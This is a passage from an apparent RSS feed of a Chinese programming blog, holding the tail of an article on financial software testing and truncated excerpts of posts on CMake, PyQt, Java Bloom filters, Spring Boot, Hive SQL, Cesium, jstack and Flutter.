旧版本的数据移植问题，由于新旧系统之间数据字典存在差异，数据移植后能否正常，就需要对新旧数据进行比对性测试。&#xA;比对测试过程往往会涉及数据库的应用及比对工具的开发使用。&#xA;2、金融行业软件测试方法及范围分析&#xA;以下主要从功能测试、接口测试、数据移植测试、性能测试、安全性测试、风险监控测试、几个方面来阐述金融行业软件的测试方法及范围。&#xA;1）功能测试&#xA;功能测试，主要是对软件的功能进行的验证，对于金融行业软件来说，功能测试主要进行以下功能的验证：&#xA;业务验证测试：&#xA;验证业务系统的功能是否正确实现，测试其业务处理的准确性。&#xA;①业务流程测试&#xA;金融行业软件测试首先关注的是业务的正确性，业务流程要合理、业务处理正确无误，这些往往需要测试人员具备一定的金融软件测试经验，才能更好的判断业务流程设计是否合理，是否满足客户实际需求。&#xA;以及业务流程处理过程中可能会涉及到的异常，通常通过正常案例和异常案例来验证业务流程的完整性和正确性。&#xA;业务流程除了验证流程的正确性，通常对于涉及金额、资金、库存等数据及业务流程中生成的记录是否正确性也是测试的重点。&#xA;②账务处理&#xA;对于银行来说，账务处理为核心系统功能，也是这类软件测试的重点，账务处理不仅涉及到资金，还与交易过程相关，在测试系统对账时，必须对账务处理流程有清晰的认识。&#xA;对于账务处理过程中账务是否处理正确、是否出现错账、是否需要进行调账等案例都要能进行完整的案例设计来覆盖测试点，这一块的测试一般需要有经验的测试人员来进行测试。&#xA;③清算&#xA;银行系统清算过程涉及的东西较多，如资金清算、库存清算、计费、计息、对账、登帐、报表生成等复杂的过程，同时涉及的数据量也是非常的大，对于大型系统来说更是如此数据检查的工作量也很大，同样测试人员需要对清算的全过程有清晰的了解。&#xA;④报表&#xA;对于银行系统来说，报表是直接呈现给用户最直接的结果，而对一个银行系统来说，报表的数量一般都较庞大，很可能涉及到几十张报表，因此对报表的检查也是测试的重点，这需要测试人员对银行系统涉及的业务非常熟悉，能判断报表的设计是否合理，报表数据是否正确等。&#xA;2）客户端测试&#xA;客户端主要针对的是软件界面功能的测试，根据功能划分一般涉及以下几类：&#xA;①系统管理类&#xA;系统管理主要包括系统参数管理、用户管理、角色管理、权限分配等，测试也包含相应的业务逻辑及页面测试，如查询功能的测试、显示风格、验证客户端页面显示数据是否正确等。&#xA;②数据查询类&#xA;主要验证数据查询结果客户端显示是否正确。&#xA;③其它涉及业务操作的功能界面&#xA;主要针对客户端界面的录入、查询等功能进行测试。&#xA;客户端测试还会对界面的友好性、提示信息的合理性等进行测试。&#xA;3）接口测试&#xA;对于银行来说，通常行内系统和与银行外对接的系统是独立开发的，行内与行外系统采用的数据库、通讯协议等都可能存在差异；&#xA;并且对于银行来说，还可能存在多个系统:&#xA;如：网上银行、ACE/柜面、电话银行、呼叫中心、信贷、资产托管、资金风险监控分析系统等，并且各个系统之间可能关联特别紧密，存在许多交互；&#xA;因此，在测试中会涉及到相关系统接口的测试，这时通常需要构造对接系统的测试环境、数据、业务等来模拟对接系统。&#xA;接口测试中，由于一方系统在测试过程中不可见，因此通常需要进行环境的模拟。&#xA;比如开发模拟软件来模拟被测试系统与所交互的系统之间的通讯，并且在测试过程中通常需要测试人员自己组报文，通过模拟发送器收发发送报文来进行测试，并通过后台检查报文转换是否正确，通过数据库来验证数据是否正确。&#xA;通常来说，接口的测试测试人员主要跟后台和数据库打交道，而很少通过客户端来操作，因此要求测试人员对数据库知识、对应的操作系统命令以及一些中间件具有一定的熟悉程度才能更好的进行测试。&#xA;接口测试一般在功能测试阶段完成，功能测试计划中应包含接口测试。&#xA;4）数据移植测试&#xA;对于银行来说，软件产品经常存在更新换代或升级的情况，新系统的运行环境和旧系统可能不一致。&#xA;因此，为了保证系统的顺利运行，在新系统研发出来，准备上线之前，需要把原来旧系统的客户历史数据移植过来，这就涉及到了数据移植问题。&#xA;数据移植并不是简单的数据迁移，因为新旧系统之间数据字典是不同的，为了保证移植结果的正确性，需要对新旧数据库的数据进行比对，通常可以通过人工方法或开发比对工具进行比对。&#xA;举例来说，旧系统采用的SQLSERVER的数据库，而新系统采用Oracle的数据库；&#xA;并且就系统可能存在50张数据表，新系统可能有200张数据表，而且，新系统的数据表结构与旧系统可能完全不一样，或者新旧系统的某张表可能对应另一个系统的几张表，这样在数据移植测试中就要进行几方面的测试。&#xA;比如，两个数据库可能存在有差异的地方，如数据类型不同，位数不同，在数据移植过程中对这部分就应该做详细的检查。&#xA;此外，表结构的不同，在做数据移植检查时，需要获得新旧版本的数据字典，并且对移植过来对应的所有字段数据是否移植正确做检查。&#xA;数据移植测试往往需要测试人员有足够的耐心，能仔细进行比对，发现存在的问题。数据移植测试一般在功能测试阶段完成，功能测试计划中应包含数据移植的测试。&#xA;5）性能测试&#xA;性能测试的目的主要是验证业务系统是否满足业务需求的多用户并发操作，是否满足业务性能需求，评估压力解除后的自恢复能力，测试系统性能极限。&#xA;随着金融行业软件的规模越来越大、处理能力要求越来越高，进行性能测试成为金融软件测试中必不可少的一个环节。&#xA;金融行业软件一般在投入使用时，需要接受大批量的业务，并且对于业务的响应处理时间也有很高的要求，这对于应用程序本身、操作系统、中心数据库服务器、中间件服务器以及网络设备的承受力都是一个严峻的考验。&#xA;任一个环节的问题都可能给用户带来巨大的商业损失。因此，如何保证在压力情况下系统能正常运行是金融行业软件质量保证的关键，同时也是测试人员最需关注的重点。</description>
    </item>
    <item>
      <title>HTML&#43;CSS&#43;ElementUI搭建个人博客静态页面展示(纯前端)</title>
      <link>https://bchobby.github.io/posts/56ad04fe36db5bf005ea0343ee3819ed/</link>
      <pubDate>Fri, 08 Dec 2023 13:45:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56ad04fe36db5bf005ea0343ee3819ed/</guid>
      <description>网站演示 登录页面&#xA;门户页面&#xA;博客页面&#xA;搭建过程 技术选取:HTML/CSS + VUE2 + ElementUI(Version - 2.15.14)编程软件:VSCode 环境配置与搭建 安装指令 1. 先确保你的电脑已经安装好了`npm和node` npm -v node -v 2. ElementUI下载，推荐使用 npm 的方式安装 npm i element-ui -S 3. CDN引入 &amp;lt;!-- 引入样式 --&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;https://unpkg.com/element-ui/lib/theme-chalk/index.css&#34;&amp;gt; &amp;lt;!-- 引入组件库 --&amp;gt; &amp;lt;script src=&#34;https://unpkg.com/element-ui/lib/index.js&#34;&amp;gt;&amp;lt;/script&amp;gt; ELement在 node 下载后，会发现 node_modules/element-ui 文件夹,直接复制到本地,之后按照文件路径引用并配置 &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;{{URL::asset(&#39;elementui/lib/theme-chalk/index.css&#39;)}}&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;{{URL::asset(&#39;css/common.css&#39;)}}&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;{{URL::asset(&#39;css/layout/head.css&#39;)}}&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;{{URL::asset(&#39;css/home/home.css&#39;)}}&#34;&amp;gt; &amp;lt;script src=&#34;https://unpkg.com/vue@2/dist/vue.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;{{URL::asset(&#39;elementui/lib/index.js&#39;)}}&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; 参考文档 [1]ElementUI - 2.</description>
    </item>
    <item>
      <title>第十一讲 添加导出配置</title>
      <link>https://bchobby.github.io/posts/2c99712ce8107a3f88f31f43b34a57c2/</link>
      <pubDate>Fri, 08 Dec 2023 13:11:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c99712ce8107a3f88f31f43b34a57c2/</guid>
      <description>在前面几讲中，我们介绍过如何为CMake添加安装库文件和头文件的能力；也介绍过如何添加额外信息，以便发布软件包的内容。&#xA;接下来这一讲，我们将在工程中添加一些必要信息，以便其它CMake工程可以利用我们的工程，这可以是从build目录中引引用，也可以本地安装，甚至是软件打包。&#xA;首先，修改 install(TARGETS) 命令，让它不仅指定DESTINATION ，还指定EXPORT。关键字EXPORT 生成一个CMake文件，其中包含从安装树导出安装命令目标的相关代码。让我们继续，修改MathFunctions/CMakeLists.txt里的install命令，显式地EXPORT MathFunctions 库。修改后的代码：&#xA;set(installable_libs MathFunctions tutorial_compiler_flags) if(TARGET SqrtLibrary) list(APPEND installable_libs SqrtLibrary) endif() install(TARGETS ${installable_libs} EXPORT MathFunctionsTargets DESTINATION lib) # install include headers install(FILES MathFunctions.h DESTINATION include) 现在，我们已经导出MathFunctions ，我们还需要明确安装所生成的MathFunctionsTargets.cmake文件。它是这样实现的：在顶层CMakeLists.txt的末尾添加以下代码：&#xA;install(EXPORT MathFunctionsTargets FILE MathFunctionsTargets.cmake DESTINATION lib/cmake/MathFunctions ) 这时，你可以尝试执行一下CMake。如果一切正常，你将看到CMake的报错：&#xA;CMake想要表达的是：在生成导出信息时，它将导出一个与当前机器绑定的路径，把它用在其它机器上可能是无效的。解决方案是修改MathFunctions 的target_include_directories() ，让它理解：从build工作目录出发，和从安装包出发，它需要不同的INTERFACE位置。这意味着为MathFunctions 转换 target_include_directories() 调用：&#xA;MathFunctions/CMakeLists.txt&#xA;target_include_directories(MathFunctions INTERFACE $&amp;lt;BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}&amp;gt; $&amp;lt;INSTALL_INTERFACE:include&amp;gt; ) 修改完毕之后，可以重试CMake，这时警告信息已经消除。&#xA;这时，我们的CMake已经能正确打包所要求的目标信息，但是还不够，我们还要生成一个MathFunctionsConfig.cmake 文件，这样 CMake的 find_package() 命令才能发现我们的工程。让我们继续，在工程顶层目录下新增一个名为Config.cmake.in的文件，其内容如下：&#xA;Config.cmake.in&#xA;@PACKAGE_INIT@ include ( &#34;${CMAKE_CURRENT_LIST_DIR}/MathFunctionsTargets.cmake&#34; ) 接下来，配置及安装这个文件，在顶层目录的 CMakeLists.txt末尾添加以下内容：&#xA;install(EXPORT MathFunctionsTargets FILE MathFunctionsTargets.</description>
    </item>
    <item>
      <title>Java实现布隆过滤器</title>
      <link>https://bchobby.github.io/posts/0be7bc75e83fdd43c39600c7be3a244c/</link>
      <pubDate>Fri, 08 Dec 2023 11:49:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0be7bc75e83fdd43c39600c7be3a244c/</guid>
      <description>一、概述&#xA;布隆过滤器本质上是一个很长的二进制数组，主要用来判断一个数据存不存在数组里，如果存在就用1表示，不存在用0表示，它的优点是空间效率和查询时间都比一般的算法要好的多，缺点是有一定的误识别率和删除困难。&#xA;二、实现原理&#xA;当一个元素被加入集合时，通过 K 个散列函数将这个元素映射成一个位数组中的 K 个点（offset），把它们置为 1。检索时，我们只要看看这些点是不是都是 1 就（大约）知道集合中有没有它了，如果这些点有任何一个 0，则被检元素一定不在；如果都是 1，则被检元素很可能在。这就是布隆过滤器的基本思想。&#xA;布隆过滤器（Bloom Filter）是一个高空间利用率的概率性数据结构，由二进制向量（即位数组）和一系列随机映射函数（即哈希函数）两部分组成。&#xA;当布隆过滤器判定某个值存在时，其实这个值只是有可能存在；当它说某个值不存在时，那这个值肯定不存在，这个误判概率大约在 1% 左右。&#xA;1.布隆过滤器-添加元素&#xA;当使用布隆过滤器添加 key 时，会使用不同的 hash 函数对 key 存储的元素值进行哈希计算，从而会得到多个哈希值。根据哈希值计算出一个整数索引值，将该索引值与位数组长度做取余运算，最终得到一个位数组位置，并将该位置的值变为 1。每个 hash 函数都会计算出一个不同的位置，然后把数组中与之对应的位置变为 1。通过上述过程就完成了元素添加操作。&#xA;2.布隆过滤器-判定元素是否存在&#xA;当我们需要判断一个元素是否存时，首先对给定元素再次执行哈希计算，得到与添加元素时相同的位数组位置，判断所得位置是否都为 1，如果其中有一个为 0，那么说明元素不存在，若都为 1，则说明元素有可能存在。&#xA;三、布隆过滤器使用场景&#xA;1.解决Redis缓存穿透问题。&#xA;2.邮箱系统的垃圾邮件过滤功能也普遍用到了布隆过滤器，用了这个过滤器，平时也会遇到某些正常的邮件被放进了垃圾邮件目录中。&#xA;3.内容推荐，布隆过滤器能准确过滤掉那些已经看过的内容，没有看过的新内容，它也会过滤掉极小一部分 (误判)，但是绝大多数新内容它都能准确识别。&#xA;四、布隆过滤器实现方式&#xA;1.引入Guava的依赖实现&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.google.guava&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;guava&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;32.0.1-jre&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.代码实现如下：&#xA;import com.google.common.hash.BloomFilter; import com.google.common.hash.Funnels; public class BloomFilterTest { public static void main(String[] args) { // 预期插入数量 long capacity = 100000L; // 错误比率 double errorRate = 0.</description>
    </item>
    <item>
      <title>PyQt5 - 鼠标连点器</title>
      <link>https://bchobby.github.io/posts/9daa3dd2a66ad0913d834f9eb176a47d/</link>
      <pubDate>Fri, 08 Dec 2023 10:38:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9daa3dd2a66ad0913d834f9eb176a47d/</guid>
      <description>文章目录 ⭐️前言⭐️鼠标连点器 ⭐️前言 本次设计的鼠标连点器主要是对QVBoxLayout、QHBoxLayout和QStackedWidget进行一个回顾复习，加深对它们的理解，提高运用的熟练度。&#xA;⭐️鼠标连点器 如以下代码所示，设计两个QWidget控件，分别为QWidget1和QWidget2，QWidget1中设计的是连点器基本设计窗口，可输入鼠标的点击速度和点击总时长；QWidget2中设计的是连点器执行后的窗口，其中有倒计时准备和执行过程的窗口显示。&#xA;from PyQt5.QtWidgets import * from PyQt5.QtCore import Qt, QTimer from PyQt5.QtGui import QIcon, QColor, QFont import sys import threading import time from pynput.mouse import Button, Controller class PushButton(QPushButton): def __init__(self, text): super().__init__() self.setText(text) # 设置阴影 def enterEvent(self, evt): # 创建QGraphicsDropShadowEffect对象 shadow = QGraphicsDropShadowEffect() # 设置阴影颜色 shadow.setColor(QColor(0, 0, 0)) # 设置阴影的偏移量 shadow.setOffset(0, 0) # 设置阴影的模糊半径 shadow.setBlurRadius(15) # 设置阴影应用于按钮 self.setGraphicsEffect(shadow) # 取消阴影 def leaveEvent(self, evt): self.</description>
    </item>
    <item>
      <title>USB Type-C一拖二线缆制作方法</title>
      <link>https://bchobby.github.io/posts/ea7da98e0979bef244837e24be7ba67c/</link>
      <pubDate>Fri, 08 Dec 2023 09:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea7da98e0979bef244837e24be7ba67c/</guid>
      <description>1 实现方法&#xA;Figure 1-1 Type-C Socket(母口)&#xA;Figure 1-2 Type-C Plug(公头)&#xA;Table 1-1 Type-C Socket Pin连接描述&#xA;Type-C Plug连接， 需要做一个一拖二的线，一根的一端是USB， 另外一根的一端是USB转UART， 参考Table 1-2。&#xA;Table 1-2 Type-C Plug Pin连接描述&#xA;Figure 1-3 Type-C Plug CC Connection Demo&#xA;2 Abbreviations&#xA;ARC：Argonant RISC Core&#xA;AT91SAM9260：SAM means Smart ARM-based&#xA;ATMEL SAMBA：ATMEL Smart ARM-based Boot Assistant&#xA;CC2530：TI ChipCon2530&#xA;DWC2：Design Ware Controller 2，Apple的嵌入式设备，包括iPad和iPhone都是使用的DWC2&#xA;ISP1161：Philips&#39; Integrated host Solution Pairs 1161，“Firms introduce USB host controllers”，https://www.eetimes.com/document.asp?doc_id=1290054&#xA;SL811HS：Cypress/ScanLogic 811 Host/Slave，性能上与ISP1161（Integrated host Solution Pairs 1161）相当</description>
    </item>
    <item>
      <title>【PyQt学习篇 · ⑬】：QStackedWidget的使用</title>
      <link>https://bchobby.github.io/posts/8896159166f6d79dde16fd7e0e05fa7f/</link>
      <pubDate>Fri, 08 Dec 2023 09:28:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8896159166f6d79dde16fd7e0e05fa7f/</guid>
      <description>文章目录 QStackedWidget的使用 QStackedWidget的使用 QStackedWidget是PyQt中的一个容器部件，用于管理多个堆叠的子部件。它只显示当前选中的子部件，而隐藏其余的子部件。&#xA;代码演示：&#xA;from PyQt5.QtWidgets import * import sys class MainWindow(QMainWindow): def __init__(self): super().__init__() self.stacked_widget = QStackedWidget() self.setCentralWidget(self.stacked_widget) self.button1 = QPushButton(&#34;Switch to Widget 1&#34;) self.button2 = QPushButton(&#34;Switch to Widget 2&#34;) self.widget1 = QWidget() layout1 = QVBoxLayout() layout1.addWidget(QLabel(&#34;Widget 1&#34;)) layout1.addWidget(self.button2) self.widget1.setLayout(layout1) self.widget2 = QWidget() layout2 = QVBoxLayout() layout2.addWidget(QLabel(&#34;Widget 2&#34;)) layout2.addWidget(self.button1) self.widget2.setLayout(layout2) self.stacked_widget.addWidget(self.widget1) self.stacked_widget.addWidget(self.widget2) self.button1.clicked.connect(self.switch_to_widget1) self.button2.clicked.connect(self.switch_to_widget2) self.show() def switch_to_widget1(self): self.stacked_widget.setCurrentWidget(self.widget1) def switch_to_widget2(self): self.stacked_widget.setCurrentWidget(self.widget2) app = QApplication(sys.argv) window = MainWindow() sys.</description>
    </item>
    <item>
      <title>JS 序列化类</title>
      <link>https://bchobby.github.io/posts/049fe745103c9cec67cf55a0af75ab3b/</link>
      <pubDate>Fri, 08 Dec 2023 07:07:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/049fe745103c9cec67cf55a0af75ab3b/</guid>
      <description>最近在搞阿里云MQTT。发现消息解析的JS代码另人发指。主要是物模型序列化，太垃圾了。就自己写了一个更简单的Archive类。阿里的工程师都是傻逼吗？&#xA;class Archive { constructor(capacity) { this.capacity = capacity; this.size = 0; this.u8array = Array(this.capacity); } _check_resize(){ if ( this.size &amp;lt; this.capacity) return ; this.capacity = this.capacity*2; var newarray = Array(this.capacity); for (var i = 0; i &amp;lt; this.size; ++i) newarray[i] = this.u8array[i]; this.u8array = newarray; } SaveUint8(data ){ this._check_resize(); this.u8array[this.size] = data; this.size+=1; } SaveUint16(data){ this._check_resize(); this.u8array[this.size] = (data&amp;amp;0xFF00)&amp;gt;&amp;gt;8; this.size+=1; this._check_resize(); this.u8array[this.size] = (data&amp;amp;0x00FF); this.size+=1; } GetRawArray(){ return this.</description>
    </item>
    <item>
      <title>【Python】Python仓储管理系统（源码）【独一无二】</title>
      <link>https://bchobby.github.io/posts/630e996a09c1288f90cad8570cd6575a/</link>
      <pubDate>Fri, 08 Dec 2023 01:00:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/630e996a09c1288f90cad8570cd6575a/</guid>
      <description>👉博__主👈：米码收割机&#xA;👉技__能👈：C++/Python语言&#xA;👉公众号👈：测试开发自动化【获取源码+商业合作】&#xA;👉荣__誉👈：阿里云博客专家博主、51CTO技术博主&#xA;👉专__注👈：专注主流机器人、人工智能等相关领域的开发、测试技术。&#xA;Python仓储管理系统（源码） 目录 Python仓储管理系统（源码）1. 具体要求代码实现代码截图【管理员】模式登录【管理员】查看库存【管理员】新增仓储货物信息【入库员】模式登录【入库员】修改修改货物信息【出库员】出库货物【出库员】入库货物 1. 具体要求 使用面相对象设计方法设计一个仓储管理系统。&#xA;操作的核心实体有:&#xA;货物包含(id、货物名称、货物种类、长度、宽度…)仓库 (id 、名称、长度、宽度、类别…)用户 (id、名称、类别、用户名、密码…)用户分为管理员、入库员、出库员、业务员。 对货物的操作管理包含:&#xA;新建货物&#xA;入库 (货物需要根据自己的种类入库到对应类别的仓库，如食品如食品库仓库可以预先程序数据设置好)&#xA;出库&#xA;查询货信息&#xA;查询出入库记录&#xA;修改货物信息。&#xA;登录功能：&#xA;系统运行后需要需要按照用户名密码来登录，管理员有最高权限，他可以给指定用户赋予特定的权限，如给入库员入库、查询的操作权限、给出库员出库、查询的权限、业务员查看的权限。&#xA;菜单：&#xA;设计出便于用户操作的交互菜单例如下面示例(根据自己的需求进行修改)欢迎使用仓库管理系统，请选择您要进入的功能&#xA;1、新增仓储货物信息&#xA;2、货物入库3、货物出库&#xA;4、修改货物信息&#xA;5、查询库存&#xA;6、查询出入库记录&#xA;7、退出&#xA;👇👇👇 关注公众号，回复 “仓储管理系统” 获取源码👇👇👇&#xA;代码实现 本系统中有4种角色，管理员、入库员、出库员、业务员，分别对应不同的操作权限，代码如下：&#xA;👇👇👇 关注公众号，回复 “仓储管理系统” 获取源码👇👇👇&#xA;# ......略..... # 初始化用户 users = [ User(id=1, name=&#34;张三&#34;, category=&#34;管理员&#34;, username=&#34;admin&#34;, password=&#34;admin123&#34;), User(id=2, name=&#34;李四&#34;, category=&#34;入库员&#34;, username=&#34;stocker&#34;, password=&#34;stocker123&#34;), User(id=3, name=&#34;王五&#34;, category=&#34;出库员&#34;, username=&#34;dispatcher&#34;, password=&#34;dispatcher123&#34;), User(id=4, name=&#34;赵六&#34;, category=&#34;</description>
    </item>
    <item>
      <title>安卓初始化项目报错An issue was found when checking AAR metadata</title>
      <link>https://bchobby.github.io/posts/46ed7c0ebf8b2b1775d3b6156ab9552a/</link>
      <pubDate>Thu, 07 Dec 2023 21:06:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ed7c0ebf8b2b1775d3b6156ab9552a/</guid>
      <description>An issue was found when checking AAR metadata: 1. Dependency &#39;androidx.activity:activity:1.8.0&#39; requires libraries and applications that depend on it to compile against version 34 or later of the Android APIs. :app is currently compiled against android-33. Also, the maximum recommended compile SDK version for Android Gradle plugin 7.4.1 is 33. Recommended action: Update this project&#39;s version of the Android Gradle plugin to one that supports 34, then update this project to use compileSdkVerion of at least 34.</description>
    </item>
    <item>
      <title>记录一下快速上手Springboot登录注册项目</title>
      <link>https://bchobby.github.io/posts/6f3ec8c960173829dc890a903422ef12/</link>
      <pubDate>Thu, 07 Dec 2023 19:50:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f3ec8c960173829dc890a903422ef12/</guid>
      <description>本教程需要安装以下工具，如果不清楚怎么安装的可以看下我的这篇文章&#xA;链接: https://blog.csdn.net/qq_30627241/article/details/134804675&#xA;管理工具： maven&#xA;IDE： IDEA&#xA;数据库： MySQL&#xA;测试工具： Postman&#xA;打开IDEA&#xA;创建项目，创建项目时保持网络通畅&#xA;设置项目的基本信息，其中注意jdk版本要与Java版本匹配，这里使用jdk1.8和java8&#xA;选择SpringBoot版本，选择项目依赖（依赖可以创建完项目后在pom文件中修改）&#xA;至此项目创建完成&#xA;创建数据库&#xA;创建用户表&#xA;CREATE TABLE user ( uid int(10) primary key NOT NULL AUTO_INCREMENT, uname varchar(30) NOT NULL, password varchar(255) NOT NULL, UNIQUE (uname) ); uid: 用户编号，主键，自增&#xA;uname: 用户名，作为登录的账号（业务主键），不可重复&#xA;password: 密码，因为可能要加密，所以长度设了较长的255&#xA;配置数据库&#xA;1、找到配置文件application.properties&#xA;# 配置端口号为8081 server.port=8081 # 配置数据库 # 配置驱动 spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver # 若连接的是云数据库则将localhost改为云端ip spring.datasource.url=jdbc:mysql://localhost:3306/summer?serverTimezone=UTC # Mysql用户 spring.datasource.username=root # Mysql对应用户密码 spring.datasource.password=123456 2、输入数据库相关配置信息（此处配置了项目端口号为8081，可不配置，默认端口号为8080）&#xA;注意：配置url处summer改为你的数据库名称&#xA;现在运行项目就能成功了&#xA;3、在IDEA中连接数据库，非必要步骤，连了开发方便些</description>
    </item>
    <item>
      <title>hive sql子单元查找组合单元信息</title>
      <link>https://bchobby.github.io/posts/ae6bea7eab81cddce2de0c3e938479cd/</link>
      <pubDate>Thu, 07 Dec 2023 19:36:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae6bea7eab81cddce2de0c3e938479cd/</guid>
      <description>1. 背景 店铺卖东西，会将一部分子商品（单个商品，sku 粒度）打包到一起，变成一个组合商品去售卖。&#xA;用户买东西，可能会买多个组合商品。&#xA;数仓这边拿到的数据，全是已经拆分到子商品的订单商品数据，也就是说：用户买的时候是组合商品，只有一条订单数据，但数仓表中保存的全是子商品对应的订单数据，会有多条订单数据，大概示意如下。&#xA;用后购买商品产生的订单信息：&#xA;order_id(订单id)combine_goods_id(组合商品id)1122 数仓得到的拆分之后的订单信息（order）：&#xA;CREATE EXTERNAL TABLE `zhibo_test.order`( `order_id` string COMMENT &#39;订单 id&#39;, `goods_id` string COMMENT &#39;商品 id&#39; ) COMMENT &#39;订单表&#39; 数据：&#xA;order_id(订单id)goods_id(子商品id)11131224262527 组合商品 1 包含 3 个子商品，子商品 id 分别为：1、2、3，价格都是 100。&#xA;组合商品 2 包含 4 个子商品，子商品 id 分别为：4、5、6、7，价格都是 100。&#xA;数仓中的组合商品维表信息（dim_combine_goods）：&#xA;CREATE EXTERNAL TABLE `zhibo_test.dim_combine_goods`( `combine_goods_id` string COMMENT &#39;组合商品 id&#39;, `combine_goods_name` string COMMENT &#39;组合商品名称&#39;, `goods_id` string COMMENT &#39;商品 id&#39; ) COMMENT &#39;组合商品维表&#39; 数据：&#xA;combine_goods_id(组合商品id)combine_goods_name(组合商品名称)goods_id(子商品id)1组合商品111组合商品121组合商品1311组合商品11111组合商品11211组合商品1132组合商品242组合商品252组合商品262组合商品273组合商品313组合商品35 组合商品维表中的数据说明：</description>
    </item>
    <item>
      <title>vue&#43;cesium实现风场</title>
      <link>https://bchobby.github.io/posts/d75b15a72cee23582bf163f8acce23f5/</link>
      <pubDate>Thu, 07 Dec 2023 16:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d75b15a72cee23582bf163f8acce23f5/</guid>
      <description>一、风场类编写 /*** * 风场类 * date:2022-03-14 * author：zdh * @type {CanvasWindy} */ import {Cartesian3,EllipsoidalOccluder,SceneTransforms,Ellipsoid,Cartesian2,Math as CMath} from &#39;cesium/Cesium&#39; export let CanvasWindy = function (json,params) { //风场json数据 this.windData = json; //可配置参数 this.viewer = params.viewer; this.canvas = params.canvas; this.extent = params.extent || [];//风场绘制时的地图范围，范围不应该大于风场数据的范围，顺序：west/east/south/north，有正负区分，如：[110,120,30,36] this.canvasContext = params.canvas.getContext(&#34;2d&#34;);//canvas上下文 this.canvasWidth = params.canvasWidth || 300;//画板宽度 this.canvasHeight = params.canvasHeight || 180;//画板高度 this.speedRate = params.speedRate || 100;//风前进速率，意思是将当前风场横向纵向分成100份，再乘以风速就能得到移动位置，无论地图缩放到哪一级别都是一样的速度，可以用该数值控制线流动的快慢，值越大，越慢， this.particlesNumber = params.particlesNumber || 20000;//初始粒子总数，根据实际需要进行调节 this.maxAge = params.maxAge || 120;//每个粒子的最大生存周期 this.</description>
    </item>
    <item>
      <title>java排查耗时代码的几种方式</title>
      <link>https://bchobby.github.io/posts/69d0950a4896ce5b4f9ae76d2afde735/</link>
      <pubDate>Thu, 07 Dec 2023 16:53:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69d0950a4896ce5b4f9ae76d2afde735/</guid>
      <description>当java程序出现性能问题时，我们可以通过一些工具，快速定位出拖慢程序的代码：&#xA;jstack jstack是jdk自带的堆栈跟踪工具&#xA;首先，我们用ps -ef|grep java命令列出正在运行的java进程：&#xA;# ps -ef|grep java root 33 32 67 21:52 tty2 00:00:10 java -jar xxx.jar root 101 11 0 21:52 pts/0 00:00:00 grep --color=auto java 得到其进程号，这个例子里，xxx.jar程序的进程号是33。&#xA;（如果你的系统是windows执行不了这些命令，强烈建议装一个wsl1，IDEA支持把代码跑在wsl里了，调试起来会非常舒服，wsl2目前与windows本体的文件交换机制是网络传输，性能很差不建议。）&#xA;现在，我们执行两个命令，分别打印出进程33的线程运行情况、最忙的线程（建议把打印结果复制到一个txt文件里方便ctrl+f查找）&#xA;jstack -l 33命令打印线程运行情况&#xA;ps p 33 -L -o pcpu,pid,tid,time,tname,cmd打印出线程使用cpu的情况&#xA;打印结果如下：&#xA;# jstack -l 33 Full thread dump OpenJDK 64-Bit Server VM (17.0.2+8-86 mixed mode, sharing): Threads class SMR info: _java_thread_list=0x00007f3658001890, length=12, elements={ 0x00007f369c023f10, 0x00007f369c1739b0, ... } &#34;</description>
    </item>
    <item>
      <title>Flutter 如何更新showModalBottomSheet 中的数据</title>
      <link>https://bchobby.github.io/posts/e37bd9aa6d4c504801ad19ee56aa4da9/</link>
      <pubDate>Thu, 07 Dec 2023 16:46:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e37bd9aa6d4c504801ad19ee56aa4da9/</guid>
      <description>showDialog( context: context, builder: (context) { String label = &#39;test&#39;; //StatefulBuilder return StatefulBuilder( //在这里为了区分，在构建builder的时候将setState方法命名为了setDialogState。 builder: (context, setDialogState) { print(&#39;label = $label&#39;); return GestureDetector( child: Text(label), onTap: () { label = &#39;test8&#39;; print(&#39;onTap:label = $label&#39;); // 注意不是调用老页面的setState，而是要调用builder中的setDialogState。 setDialogState(() {}); }, ); }, ); }); bottomsheet&#xA;bool btnState=false; showModalBottomSheet( context:context, builder:(BuildContext context){ return StatefulBuilder( //在这里为了区分，在构建builder的时候将setState方法命名为了setBottomSheetState。 builder:(context1, setBottomSheetState) { return Container( child:OutlineButton( onPressed: (){ // 注意不是调用老页面的setState，而是要调用builder中的setBottomSheetState setBottomSheetState(() { btnState=!btnState; }); }, child:Stack( children: &amp;lt;Widget&amp;gt;[ Opacity( opacity: btnState ?</description>
    </item>
    <item>
      <title>远程服务器——如何在Conda中安装R环境</title>
      <link>https://bchobby.github.io/posts/bff8f5be349984a059721d443b65b9b9/</link>
      <pubDate>Thu, 07 Dec 2023 15:49:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bff8f5be349984a059721d443b65b9b9/</guid>
